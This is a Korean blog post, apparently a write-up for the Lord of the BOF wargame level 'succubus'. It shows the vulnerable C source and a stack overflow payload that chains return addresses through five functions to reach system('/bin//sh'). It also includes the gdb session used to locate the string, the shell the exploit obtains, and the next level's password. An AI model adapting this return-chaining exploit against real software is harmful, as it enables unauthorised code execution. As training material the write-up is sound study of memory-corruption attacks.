본문 바로가기

CTF_Write_UP/LOB

[LOB] zombie_assassin

시작

안녕하세요!! :D

어제 14회 정보보안 산업기사 필기 시험을 봤습니다 ㅋㅋㅋㅋㅋㅋ

역대급 난이도였다던데.. 저도 간당간당 할 것 같네요 ㅠㅠ

자자 휴가 나왔을 때만 풀 수 있는 전설의 문제.. LOB..

이번에 끝장을 봐야겠어요 ㅎㅎ

시작해보죠!!

Write UP

/* 
        The Lord of the BOF : The Fellowship of the BOF 
        - succubus 
        - calling functions continuously 
*/ 

#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>

// the inspector 
int check = 0; 

void MO(char *cmd) 
{ 
        if(check != 4) 
                exit(0); 

        printf("welcome to the MO!\n"); 

        // olleh! 
        system(cmd); 
} 

void YUT(void) 
{ 
        if(check != 3) 
                exit(0); 

        printf("welcome to the YUT!\n"); 
        check = 4; 
} 

void GUL(void) 
{ 
        if(check != 2) 
                exit(0); 

        printf("welcome to the GUL!\n"); 
        check = 3; 
}

void GYE(void) 
{ 
        if(check != 1) 
                exit(0); 

        printf("welcome to the GYE!\n"); 
        check = 2; 
} 

void DO(void) 
{ 
        printf("welcome to the DO!\n"); 
        check = 1; 
} 

main(int argc, char *argv[]) 
{ 
        char buffer[40]; 
        char *addr; 

        if(argc < 2){ 
                printf("argv error\n"); 
                exit(0); 
        } 

        // you cannot use library 
        if(strchr(argv[1], '\x40')){ 
                printf("You cannot use library\n"); 
                exit(0); 
        } 

        // check address 
        addr = (char *)&DO; 
        if(memcmp(argv[1]+44, &addr, 4) != 0){ 
                printf("You must fall in love with DO\n"); 
                exit(0); 
        } 

        // overflow! 
        strcpy(buffer, argv[1]); 
        printf("%s\n", buffer); 

        // stack destroyer 
        // 100 : extra space for copied argv[1] 
        memset(buffer, 0, 44); 
        memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100)); 

        // LD_* eraser 
        // 40 : extra space for memset function 
        memset(buffer-3000, 0, 3000-40); 
}

코드는 긴데 내용은 생각보다 단순하네요.

MO() 부분에 system 함수가 있는 걸 보니 리턴 값을 조작해서 저쪽으로 보내야 할 것 같습니다.

MO()의 시작 부분에 check 값을 검사하는데, 얘가 4여야 해요.

전역변수인 check값은 DO(), GAE(), GUL(), YUT()을 지날 떄 바뀌는데, 4까지 가려면 저 4개의 함수를 다 지나야 해요.

따라서 BUF + SFP 값인 44 bytes를 더미로 채워주고

&DO + &GYE + &GUL + &YUT + &MO 하면 MO 함수까지 오겠네요.

이제 인자값인 cmd를 넣어줘야겠죠?

얘는 32 bit 함수 호출 규약 특성 상 func() + ret(func_2()) + argv[] 형식이기 때문에

&MO + dummy(4) + &”/bin//sh” 형태로 페이로드가 구성됩니다.

"/bin//sh"는 어떻게 넣어줄까요?

페이로드 끝에 문자열로 넣어준 후 core를 확인해서 시작위치를 확인해보겠습니다.

[zombie_assassin@localhost succubus]$ ./succubus `python -c 'print "A" * 44 + "\xec\x87\x04\x08" + "\xbc\x87\x04\x08" + "\x8c\x87\x04\x08" + "\x5c\x87\x04\x08" + "\x24\x87\x04\x08" + "BBBB" + "CCCC" + "/bin//sh"'` 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒\$BBBBCCCC/bin//sh 
welcome to the DO! 
welcome to the GYE! 
welcome to the GUL! 
welcome to the YUT! 
welcome to the MO! 
Segmentation fault (core dumped)
[zombie_assassin@localhost succubus]$ gdb -q -c ./core 
Core was generated by `                                                                              '. 
Program terminated with signal 11, Segmentation fault. 
#0  0x42424242 in ?? () 
(gdb) x/10s $esp 
0xbffffaa4:      "CCCC/bin//sh" 
0xbffffab1:      "\210\004\b\002" 
0xbffffab6:      "" 
0xbffffab7:      "" 
0xbffffab8:      "▒▒▒▒\234\203\004\bL\211\004\b`▒" 
0xbffffac7:      "@▒▒▒▒\220>\001@\002" 
0xbffffad2:      "" 
0xbffffad3:      "" 
0xbffffad4:      "▒▒▒▒▒▒▒▒" 
0xbffffadd:      "" 
(gdb) x/s 0xbffffaa8 
0xbffffaa8:      "/bin//sh"

"/bin//sh"의 주소까지 알아냈습니다!!

[zombie_assassin@localhost succubus]$ ./succubus `python -c 'print "A" * 44 + "\xec\x87\x04\x08" + "\xbc\x87\x04\x08" + "\x8c\x87\x04\x08" + "\x5c\x87\x04\x08" + "\x24\x87\x04\x08" + "BBBB" + "\xa8\xfa\xff\xbf" + "/bin//sh"'` 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒\$BBBB▒▒▒▒/bin//sh 
welcome to the DO! 
welcome to the GYE! 
welcome to the GUL! 
welcome to the YUT! 
welcome to the MO! 
bash$ id 
uid=516(zombie_assassin) gid=516(zombie_assassin) euid=517(succubus) egid=517(succubus) groups=516(zombie_assassin) 
bash$ my-pass 
euid = 517 
here to stay

Exploit!!

마무리

이제 이 정도는 뭐.. 빠르게 마무리하겠습니다 ㅎㅎ

감사합니다 :D

'CTF_Write_UP > LOB' 카테고리의 다른 글

[LOB] nightmare  (0) 2019.10.03
[LOB] succubus  (0) 2019.09.09
[LOB] zombie  (0) 2019.08.03
[LOB] giant  (0) 2019.08.03
[LOB] bugbear  (0) 2019.08.02